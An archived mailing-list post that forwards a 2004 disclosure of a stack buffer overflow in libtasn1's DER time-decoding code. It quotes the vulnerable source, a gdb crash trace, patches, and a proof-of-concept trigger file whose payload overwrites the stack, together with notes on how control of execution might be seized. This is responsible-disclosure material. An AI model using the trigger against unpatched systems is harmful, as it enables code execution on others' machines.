Download Firefox: WindowsMac OS X
logo       
Google Custom Search
    AddThis Social Bookmark Button

[max@xxxxxxxxxxxxx: libtasn1: vulnerability in DER parsing functions]: msg#00002

Subject: [max@xxxxxxxxxxxxx: libtasn1: vulnerability in DER parsing functions]
Hi auditors,

this is the first in a couple of old vulnerability reports. It only
affected the testing and unstable versions and has since been fixed.

Cheers,
Max

----- Forwarded message from Max Vozeler <max@xxxxxxxxxxxxx> -----

From: Max Vozeler <max@xxxxxxxxxxxxx>
To: Ivo Timmermans <ivo@xxxxxxxxxx>
Cc: team@xxxxxxxxxxxxxxxxxxx
Subject: libtasn1: vulnerability in DER parsing functions
Date: Thu, 6 May 2004 00:37:27 +0200
User-Agent: Mutt/1.5.6i

Hi Ivo and Security Team,

libtasn1 misses a bounds check in the DER decoding function for DER
TYPE_TIME elements, passing a potentially too large size to memcpy()
which can lead to a stack overflow. I looked at versions 0.1.2-1 and
0.2.7-1 of libtasn1-0 and libtasn1-2 respectively from unstable and
found both versions affected.

The vulnerability is exposed through the asn1_der_decoding() API
function and also indirectly through asn1_expand_any_defined_by() and
asn1_expand_octet_string(). Programs that call these functions on
untrusted DER structures may be affected by this bug.

libtasn1-0.2.7/lib/decoding.c:

   126  void
   127  _asn1_get_time_der(const unsigned char *der,int *der_len,unsigned char 
*str)
   128  {
   129    int len_len,str_len;
   130  
   131    if(str==NULL) return;
   132    str_len=_asn1_get_length_der(der,&len_len);
   133    memcpy(str,der+len_len,str_len);
   134    str[str_len]=0;
   135    *der_len=str_len+len_len;
   136  }
   137  

There is no check whether the length returned by _asn1_get_length_der()
and passed to memcpy() is within bounds of the memory pointed to by str,
which is only temp[128] in the case below. The actual size of data that
der points to and thats returned by _asn1_get_length_der() can be much
larger.

   506  asn1_retCode
   507  asn1_der_decoding(ASN1_TYPE *element,const void *ider,int len,
   508                    char *errorDescription)
   509  {
   510    node_asn *node,*p,*p2,*p3;
   511    char temp[128];

   ..

   688        case TYPE_TIME:
   689          _asn1_get_time_der(der+counter,&len2,temp);

I created a simple test case for this bug, you can try to reproduce it
using the tool asn1Decoding. It calls asn1_der_decode() on the supplied
structure after some basic validation.

  $ asn1Coding trigger.asn trigger.asg
  $ asn1Decoding trigger.asn trigger.out Test.Sequence1

  Parse: done.
  Segmentation fault

  $ gdb asn1Decoding
  Using host libthread_db library "/lib/libthread_db.so.1".
  (gdb) r trigger.asn trigger.out Test.Sequence1
  Starting program: /usr/bin/asn1Decoding trigger.asn trigger.out Test.Sequence1
 
  Parse: done.
 
  Program received signal SIGSEGV, Segmentation fault.
  0x4002d9ce in asn1_der_decoding (element=0x42424242, ider=0x45454545,
      len=774778414,
      errorDescription=0x2e2e2e2e <Address 0x2e2e2e2e out of bounds>)
      at decoding.c:884
  884       _asn1_delete_not_used(*element);
  (gdb) bt
  #0  0x4002d9ce in asn1_der_decoding (element=0x42424242, ider=0x45454545,
      len=774778414,
      errorDescription=0x2e2e2e2e <Address 0x2e2e2e2e out of bounds>)
      at decoding.c:884
  #1  0x2e2e2e2e in ?? ()
  #2  0x42424242 in ?? ()
  #3  0x45454545 in ?? ()
  #4  0x2e2e2e2e in ?? ()
  #5  0x2e2e2e2e in ?? ()
  #6  0x2e2e2e2e in ?? ()
  #7  0x2e2e2e2e in ?? ()
  #8  0x2e2e2e2e in ?? ()
  #9  0x2e2e2e2e in ?? ()
  #10 0x2e2e2e2e in ?? ()
  #11 0x2e2e2e2e in ?? ()
  #12 0x2e2e2e2e in ?? ()
  #13 0x2e2e2e2e in ?? ()
  #14 0x2e2e2e2e in ?? ()
  #15 0x2e2e2e2e in ?? ()
  #16 0x2e2e2e2e in ?? ()
  #17 0x2e2e2e2e in ?? ()
  #18 0x2e2e2e2e in ?? ()
  #19 0x2e2e2e2e in ?? ()
  #20 0x2e2e2e2e in ?? ()
  #21 0x2e2e2e2e in ?? ()
  #22 0x2e2e2e2e in ?? ()
  #23 0x2e2e2e2e in ?? ()
  #24 0x2e2e2e2e in ?? ()
  #25 0x2e2e2e2e in ?? ()
  #26 0x2e2e2e2e in ?? ()
  #27 0x2e2e2e2e in ?? ()
  #28 0x2e2e2e2e in ?? ()
  #29 0x2e2e2e2e in ?? ()
  #30 0x2e2e2e2e in ?? ()
  #31 0x2e2e2e2e in ?? ()
  #32 0x2e2e2e2e in ?? ()
  #33 0x2e2e2e2e in ?? ()
  #34 0x2e2e2e2e in ?? ()
  #35 0x2e2e2e2e in ?? ()
  #36 0x2e2e2e2e in ?? ()
  #37 0x2e2e2e2e in ?? ()
  #38 0x2e2e2e2e in ?? ()
  #39 0x2e2e2e2e in ?? ()
  #40 0x2e2e2e2e in ?? ()
  ---Type <return> to continue, or q <return> to quit---q
  Quit

Its probably possible to get past the invalid dereference by making
element point to a valid struct node_asn with values that make it
through _asn1_delete_not_used(). An attacker could seize control of the
execution flow using the overwritten saved instruction pointer this
way. 

I'm not sure about the fix. It would probably be good to have the
caller specify the allowed sized of the output string the way some
other similar functions in decoding.c do. This should be OK since
_asn1_get_time_der() is not an API function, but I haven't verified
that the attached patches don't break anything beyond calling
asn1Decoding a few times.

Cheers,
Max

-- 
308E81E7B97963BCA0E6ED889D5BD511B7CDA2DC

--- libtasn1-0.1.2/lib/decoding.c.orig  2002-10-03 22:10:39.000000000 +0200
+++ libtasn1-0.1.2/lib/decoding.c       2004-05-04 19:51:11.000000000 +0200
@@ -118,12 +118,13 @@
 
 
 void
-_asn1_get_time_der(const unsigned char *der,int *der_len,unsigned char *str)
+_asn1_get_time_der(const unsigned char *der,int *der_len,unsigned char 
*str,int str_size)
 {
   int len_len,str_len;
 
   if(str==NULL) return;
   str_len=_asn1_get_length_der(der,&len_len);
+  if (str_len < 0 || str_size < str_len) return;
   memcpy(str,der+len_len,str_len);
   str[str_len]=0;
   *der_len=str_len+len_len;
@@ -527,7 +528,7 @@
        move=RIGHT;
       break;
       case TYPE_TIME:
-       _asn1_get_time_der(der+counter,&len2,temp);
+       _asn1_get_time_der(der+counter,&len2,temp,sizeof(temp)-1);
        _asn1_set_value(p,temp,strlen(temp)+1);
        counter+=len2;
        move=RIGHT;
@@ -870,7 +871,7 @@
       break;
       case TYPE_TIME:
        if(state==FOUND){
-         _asn1_get_time_der(der+counter,&len2,temp);
+         _asn1_get_time_der(der+counter,&len2,temp,sizeof(temp)-1);
          _asn1_set_value(p,temp,strlen(temp)+1);
          
          if(p==nodeFound) state=EXIT;

--- libtasn1-0.2.7/lib/decoding.c.orig  2004-05-04 20:00:10.000000000 +0200
+++ libtasn1-0.2.7/lib/decoding.c       2004-05-04 20:02:03.000000000 +0200
@@ -124,12 +124,13 @@
 
 
 void
-_asn1_get_time_der(const unsigned char *der,int *der_len,unsigned char *str)
+_asn1_get_time_der(const unsigned char *der,int *der_len,unsigned char 
*str,int str_size)
 {
   int len_len,str_len;
 
   if(str==NULL) return;
   str_len=_asn1_get_length_der(der,&len_len);
+  if (str_len < 0 || str_size < str_len) return;
   memcpy(str,der+len_len,str_len);
   str[str_len]=0;
   *der_len=str_len+len_len;
@@ -686,7 +687,7 @@
        move=RIGHT;
       break;
       case TYPE_TIME:
-       _asn1_get_time_der(der+counter,&len2,temp);
+       _asn1_get_time_der(der+counter,&len2,temp,sizeof(temp)-1);
        _asn1_set_value(p,temp,strlen(temp)+1);
        counter+=len2;
        move=RIGHT;
@@ -1158,7 +1159,7 @@
       break;
       case TYPE_TIME:
        if(state==FOUND){
-         _asn1_get_time_der(der+counter,&len2,temp);
+         _asn1_get_time_der(der+counter,&len2,temp,sizeof(temp)-1);
          _asn1_set_value(p,temp,strlen(temp)+1);
          
          if(p==nodeFound) state=EXIT;

Test { }

DEFINITIONS IMPLICIT TAGS ::=

BEGIN

Sequence1 ::= SEQUENCE {
  buf    GeneralizedTime
}

END


Exploit   Test.Sequence1

buf       
....................................................................................................................................CCCC........................BBBBEEEE........................................................................................................................................................................................................................................................................................................................................................

0??....................................................................................................................................CCCC........................BBBBEEEE........................................................................................................................................................................................................................................................................................................................................................



----- End forwarded message -----

-- 
308E81E7B97963BCA0E6ED889D5BD511B7CDA2DC


<Prev in Thread] Current Thread [Next in Thread>